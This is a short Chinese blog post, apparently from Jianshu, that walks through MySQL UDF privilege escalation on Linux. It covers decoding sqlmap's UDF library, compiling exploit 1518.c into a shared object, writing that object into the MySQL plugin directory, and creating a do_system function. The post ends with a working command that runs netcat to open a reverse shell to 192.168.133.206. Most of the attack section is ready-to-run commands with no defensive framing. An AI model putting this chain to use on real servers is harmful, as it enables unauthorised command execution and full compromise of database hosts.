MYSQL提权(LINUX)

select @@global.secure_file_priv;
查看MySQL服务器的文件读写权限
如果是NULL就是完全禁止

udf提权用到的so文件(linux)在kali下默认集成,路径为/usr/share/sqlmap/udf/mysql/linux/64(32)

  • 还有一个需要注意的是,sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中,路径为/usr/share/sqlmap/extra/cloak解密之后会在so目录下生成so文件

  • 需要创建udf中存在的函数才可以,可以用十六进制编辑器打开udf.so看一下

图片.png

或者searchsploit mysql udf

图片.png

把对应的内容编译出来

gcc -g -c 1518.c
gcc -g -shared -o  1518.so 1518.o -lc

mysql创建函数命令

use mysql;
show variables like '%plugin%';
create table udf1(line blob);
insert into udf1 values(load_file('/tmp/udf.so'));
select * from udf1 into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function do_system returns integer soname 'udf.so';
select * from mysql.func; #查询是否创建函数成功
select do_system('nc 192.168.133.206 9999 -e /bin/bash');
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • Mysql 安装 以 Centos 7 为例 wget下载安装包 wget http://repo.mysql.c...
    鸡翅儿阅读 1,223评论 0 0
  • 1、Mysql信息收集 1.1主机收集3306端口的主机信息 1.2版本信息的收集 1.3数据库管理信息收集 1....
    thelostworldSec阅读 1,153评论 0 1
  • mysql提权基础  mysql通常在php语言中用的比较多 连接数据库的文件名一般为conn.php、confi...
    nohands_noob阅读 842评论 0 4
  • 推荐指数: 6.0 书籍主旨关键词:特权、焦点、注意力、语言联想、情景联想 观点: 1.统计学现在叫数据分析,社会...
    Jenaral阅读 6,037评论 0 5
  • 城空了,有树长出来 我的城死了 铸起它的人,杀死它的人 不愿因为这件事而骄傲 一座城的终结 永远因为终结这件事而显...
    于十六阅读 3,138评论 6 17

友情链接更多精彩内容